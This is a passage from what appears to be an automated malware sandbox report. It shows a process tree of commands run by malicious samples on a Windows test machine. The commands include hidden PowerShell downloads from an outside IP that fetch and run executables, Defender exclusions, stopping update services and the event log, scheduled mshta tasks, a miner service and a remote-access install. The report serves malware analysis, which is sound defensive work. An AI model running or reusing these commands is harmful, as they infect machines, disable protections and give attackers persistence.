                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1620 --field-trial-handle=1384,i,482851750948262436,17734447510557856677,131072 /prefetch:8
                                                                              6⤵
                                                                                PID:1712
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2216 --field-trial-handle=1384,i,482851750948262436,17734447510557856677,131072 /prefetch:1
                                                                                6⤵
                                                                                • Uses browser remote debugging
                                                                                PID:1760
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2632 --field-trial-handle=1384,i,482851750948262436,17734447510557856677,131072 /prefetch:1
                                                                                6⤵
                                                                                • Uses browser remote debugging
                                                                                PID:2656
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2640 --field-trial-handle=1384,i,482851750948262436,17734447510557856677,131072 /prefetch:1
                                                                                6⤵
                                                                                • Uses browser remote debugging
                                                                                PID:1708
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1484 --field-trial-handle=1384,i,482851750948262436,17734447510557856677,131072 /prefetch:2
                                                                                6⤵
                                                                                  PID:2712
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3856 --field-trial-handle=1384,i,482851750948262436,17734447510557856677,131072 /prefetch:8
                                                                                  6⤵
                                                                                    PID:2296
                                                                              • C:\Users\Admin\AppData\Local\Temp\10208680101\JFN8FJt.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\10208680101\JFN8FJt.exe"
                                                                                4⤵
                                                                                • Executes dropped EXE
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:1588
                                                                                • C:\Windows\system32\WerFault.exe
                                                                                  C:\Windows\system32\WerFault.exe -u -p 1588 -s 36
                                                                                  5⤵
                                                                                  • Loads dropped DLL
                                                                                  PID:2960
                                                                              • C:\Users\Admin\AppData\Local\Temp\10211000101\5JIc3BN.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\10211000101\5JIc3BN.exe"
                                                                                4⤵
                                                                                • Executes dropped EXE
                                                                                PID:1728
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6393.tmp\6394.tmp\6395.bat C:\Users\Admin\AppData\Local\Temp\10211000101\5JIc3BN.exe"
                                                                                  5⤵
                                                                                    PID:2572
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win_init.exe'}"
                                                                                      6⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:2712
                                                                                • C:\Users\Admin\AppData\Local\Temp\10213921101\IgTUAvH.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\10213921101\IgTUAvH.exe"
                                                                                  4⤵
                                                                                  • Modifies Windows Defender DisableAntiSpyware settings
                                                                                  • Modifies Windows Defender Real-time Protection settings
                                                                                  • Downloads MZ/PE file
                                                                                  • Executes dropped EXE
                                                                                  • Loads dropped DLL
                                                                                  • Enumerates system info in registry
                                                                                  PID:2460
                                                                                  • C:\Users\Admin\AppData\Local\Temp\mine.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\mine.exe"
                                                                                    5⤵
                                                                                    • Drops file in Drivers directory
                                                                                    • Executes dropped EXE
                                                                                    • Drops file in System32 directory
                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                    • Suspicious use of SetThreadContext
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:2348
                                                                                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                      6⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Drops file in System32 directory
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:2680
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                      6⤵
                                                                                        PID:1804
                                                                                        • C:\Windows\system32\wusa.exe
                                                                                          wusa /uninstall /kb:890830 /quiet /norestart
                                                                                          7⤵
                                                                                          • Drops file in Windows directory
                                                                                          PID:2388
                                                                                      • C:\Windows\system32\sc.exe
                                                                                        C:\Windows\system32\sc.exe stop UsoSvc
                                                                                        6⤵
                                                                                        • Launches sc.exe
                                                                                        PID:1272
                                                                                      • C:\Windows\system32\sc.exe
                                                                                        C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                        6⤵
                                                                                        • Launches sc.exe
                                                                                        PID:2280
                                                                                      • C:\Windows\system32\sc.exe
                                                                                        C:\Windows\system32\sc.exe stop wuauserv
                                                                                        6⤵
                                                                                        • Launches sc.exe
                                                                                        PID:2052
                                                                                      • C:\Windows\system32\sc.exe
                                                                                        C:\Windows\system32\sc.exe stop bits
                                                                                        6⤵
                                                                                        • Launches sc.exe
                                                                                        PID:1500
                                                                                      • C:\Windows\system32\sc.exe
                                                                                        C:\Windows\system32\sc.exe stop dosvc
                                                                                        6⤵
                                                                                        • Launches sc.exe
                                                                                        PID:2260
                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                        6⤵
                                                                                        • Power Settings
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:2572
                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                        6⤵
                                                                                        • Power Settings
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:580
                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                        6⤵
                                                                                        • Power Settings
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:2032
                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                        6⤵
                                                                                        • Power Settings
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1520
                                                                                      • C:\Windows\system32\dialer.exe
                                                                                        C:\Windows\system32\dialer.exe
                                                                                        6⤵
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:1604
                                                                                      • C:\Windows\system32\sc.exe
                                                                                        C:\Windows\system32\sc.exe delete "WindowsAutHost"
                                                                                        6⤵
                                                                                        • Launches sc.exe
                                                                                        PID:1720
                                                                                      • C:\Windows\system32\sc.exe
                                                                                        C:\Windows\system32\sc.exe create "WindowsAutHost" binpath= "C:\ProgramData\WindowsServices\WindowsAutHost" start= "auto"
                                                                                        6⤵
                                                                                        • Launches sc.exe
                                                                                        PID:1428
                                                                                      • C:\Windows\system32\sc.exe
                                                                                        C:\Windows\system32\sc.exe stop eventlog
                                                                                        6⤵
                                                                                        • Launches sc.exe
                                                                                        PID:2792
                                                                                      • C:\Windows\system32\sc.exe
                                                                                        C:\Windows\system32\sc.exe start "WindowsAutHost"
                                                                                        6⤵
                                                                                        • Launches sc.exe
                                                                                        PID:2784
                                                                                    • C:\Users\Admin\AppData\Local\Temp\debuger.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\debuger.exe"
                                                                                      5⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:1040
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10215600101\ph10F2z.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10215600101\ph10F2z.exe"
                                                                                    4⤵
                                                                                    • Executes dropped EXE
                                                                                    • Loads dropped DLL
                                                                                    • Drops file in Program Files directory
                                                                                    • Enumerates system info in registry
                                                                                    PID:1820
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAFIAdQBuAHQAaQBtAGUAQQBwAHAAJwA=
                                                                                      5⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:1352
                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                      schtasks.exe /create /tn "SystemHelperTask" /tr "C:\Users\Admin\AppData\Local\Temp\10215600101\ph10F2z.exe" /sc onlogon /rl HIGHEST /f
                                                                                      5⤵
                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                      PID:2856
                                                                                    • C:\Program Files\RuntimeApp\0000016975.exe
                                                                                      "C:\Program Files\RuntimeApp\0000016975.exe"
                                                                                      5⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:2424
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10216000101\f21614e051.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10216000101\f21614e051.exe"
                                                                                    4⤵
                                                                                    • Executes dropped EXE
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                    • Suspicious use of SendNotifyMessage
                                                                                    PID:2880
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c schtasks /create /tn 4e0obmaj5Ll /tr "mshta C:\Users\Admin\AppData\Local\Temp\K551gOn0Q.hta" /sc minute /mo 25 /ru "Admin" /f
                                                                                      5⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:1560
                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                        schtasks /create /tn 4e0obmaj5Ll /tr "mshta C:\Users\Admin\AppData\Local\Temp\K551gOn0Q.hta" /sc minute /mo 25 /ru "Admin" /f
                                                                                        6⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                        PID:1776
                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                      mshta C:\Users\Admin\AppData\Local\Temp\K551gOn0Q.hta
                                                                                      5⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Modifies Internet Explorer settings
                                                                                      PID:2224
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'GTEKU79JV0PXZGE4O0J3BSTODF1QU33T.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                                                        6⤵
                                                                                        • Blocklisted process makes network request
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Downloads MZ/PE file
                                                                                        • Loads dropped DLL
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:708
                                                                                        • C:\Users\Admin\AppData\Local\TempGTEKU79JV0PXZGE4O0J3BSTODF1QU33T.EXE
                                                                                          "C:\Users\Admin\AppData\Local\TempGTEKU79JV0PXZGE4O0J3BSTODF1QU33T.EXE"
                                                                                          7⤵
                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                          • Checks BIOS information in registry
                                                                                          • Executes dropped EXE
                                                                                          • Identifies Wine through registry keys
                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                          PID:2128
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\10216010121\am_no.cmd" "
                                                                                    4⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:1580
                                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                                      timeout /t 2
                                                                                      5⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Delays execution with timeout.exe
                                                                                      PID:532
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                                                                      5⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:2692
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                                                                        6⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:684
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                                                                      5⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:1948
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                                                                        6⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:1560
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                                                                      5⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:1832
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                                                                                        6⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:604
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /create /tn "XYdkKmaUi2a" /tr "mshta \"C:\Temp\FEcmiLMl8.hta\"" /sc minute /mo 25 /ru "Admin" /f
                                                                                      5⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                      PID:1868
                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                      mshta "C:\Temp\FEcmiLMl8.hta"
                                                                                      5⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Modifies Internet Explorer settings
                                                                                      PID:1920
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                                                        6⤵
                                                                                        • Blocklisted process makes network request
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Downloads MZ/PE file
                                                                                        • Loads dropped DLL
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:2448
                                                                                        • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                                                                                          7⤵
                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                          • Checks BIOS information in registry
                                                                                          • Executes dropped EXE
                                                                                          • Identifies Wine through registry keys
                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                          PID:2084
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10216190101\b0hgYat.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10216190101\b0hgYat.exe"
                                                                                    4⤵
                                                                                    • Executes dropped EXE
                                                                                    • Loads dropped DLL
                                                                                    PID:932
                                                                                    • C:\Users\Admin\AppData\Local\Temp\10216190101\b0hgYat.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\10216190101\b0hgYat.exe"
                                                                                      5⤵
                                                                                      • Executes dropped EXE
                                                                                      • Loads dropped DLL
                                                                                      PID:1260
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10216290101\9u6doIF.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10216290101\9u6doIF.exe"
                                                                                    4⤵
                                                                                    • Executes dropped EXE
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:1816
                                                                                    • C:\Windows\SysWOW64\msiexec.exe
                                                                                      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.4.4.9118\f01947c788fc5afe\ScreenConnect.ClientSetup.msi"
                                                                                      5⤵
                                                                                      • Enumerates connected drives
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      PID:2088
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10216460101\ed33a474e2.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10216460101\ed33a474e2.exe"
                                                                                    4⤵
                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                    • Checks BIOS information in registry
                                                                                    • Executes dropped EXE
                                                                                    • Identifies Wine through registry keys
                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:1924
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1924 -s 1180
                                                                                      5⤵
                                                                                      • Loads dropped DLL
                                                                                      • Program crash
                                                                                      PID:1820
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10216470101\bb8a4d30ff.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10216470101\bb8a4d30ff.exe"
                                                                                    4⤵
                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                    • Checks BIOS information in registry
                                                                                    • Executes dropped EXE
                                                                                    • Identifies Wine through registry keys
                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Modifies system certificate store
                                                                                    PID:1492
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1492 -s 1204
                                                                                      5⤵
                                                                                      • Loads dropped DLL
                                                                                      • Program crash
                                                                                      PID:628
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10216480101\3df82c06d2.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10216480101\3df82c06d2.exe"
                                                                                    4⤵
                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                    • Checks BIOS information in registry
                                                                                    • Executes dropped EXE
                                                                                    • Identifies Wine through registry keys
                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:3052
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 1204
                                                                                      5⤵
                                                                                      • Program crash
                                                                                      PID:2324
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10216490101\155e2a6abe.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10216490101\155e2a6abe.exe"
                                                                                    4⤵
                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                    • Checks BIOS information in registry
                                                                                    • Executes dropped EXE
                                                                                    • Identifies Wine through registry keys
                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:2268
                                                                                    • C:\Users\Admin\AppData\Local\Temp\I9194PLUMQXSJUMMYIGKC4KLCLS0.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\I9194PLUMQXSJUMMYIGKC4KLCLS0.exe"
                                                                                      5⤵
                                                                                        PID:2512
                                                                                    • C:\Users\Admin\AppData\Local\Temp\10216500101\2d0921c22e.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\10216500101\2d0921c22e.exe"
                                                                                      4⤵
                                                                                        PID:1936
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                                                                                          5⤵
                                                                                          • Uses browser remote debugging
                                                                                          PID:2472
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef1e29758,0x7fef1e29768,0x7fef1e29778
                                                                                            6⤵
                                                                                              PID:1976
                                                                                            • C:\Windows\system32\ctfmon.exe
                                                                                              ctfmon.exe
                                                                                              6⤵
                                                                                                PID:2128
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1164 --field-trial-handle=1140,i,16105769873717433498,3193074821694325141,131072 /prefetch:2
                                                                                                6⤵
                                                                                                  PID:2272
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1504 --field-trial-handle=1140,i,16105769873717433498,3193074821694325141,131072 /prefetch:8
                                                                                                  6⤵
                                                                                                    PID:2576
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1600 --field-trial-handle=1140,i,16105769873717433498,3193074821694325141,131072 /prefetch:8
                                                                                                    6⤵
                                                                                                      PID:1200
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2032 --field-trial-handle=1140,i,16105769873717433498,3193074821694325141,131072 /prefetch:1
                                                                                                      6⤵
                                                                                                      • Uses browser remote debugging
                                                                                                      PID:2320
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=2644 --field-trial-handle=1140,i,16105769873717433498,3193074821694325141,131072 /prefetch:1
                                                                                                      6⤵
                                                                                                      • Uses browser remote debugging
                                                                                                      PID:3140
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --remote-debugging-port=9229 --disable-databases --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=2668 --field-trial-handle=1140,i,16105769873717433498,3193074821694325141,131072 /prefetch:1
                                                                                                      6⤵
                                                                                                      • Uses browser remote debugging
                                                                                                      PID:3148
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1468 --field-trial-handle=1140,i,16105769873717433498,3193074821694325141,131072 /prefetch:2
                                                                                                      6⤵
                                                                                                        PID:3412
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                                                                                                      5⤵
                                                                                                      • Uses browser remote debugging
                                                                                                      PID:3960
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa0,0xd8,0x7fef1e29758,0x7fef1e29768,0x7fef1e29778
                                                                                                        6⤵
                                                                                                          PID:3980
                                                                                                        • C:\Windows\system32\ctfmon.exe
                                                                                                          ctfmon.exe
                                                                                                          6⤵
                                                                                                            PID:3092
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1100 --field-trial-handle=1312,i,11068499585520219650,3700196175938682787,131072 /prefetch:2
                                                                                                            6⤵
                                                                                                              PID:3388
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1312,i,11068499585520219650,3700196175938682787,131072 /prefetch:8
                                                                                                              6⤵
                                                                                                                PID:3448
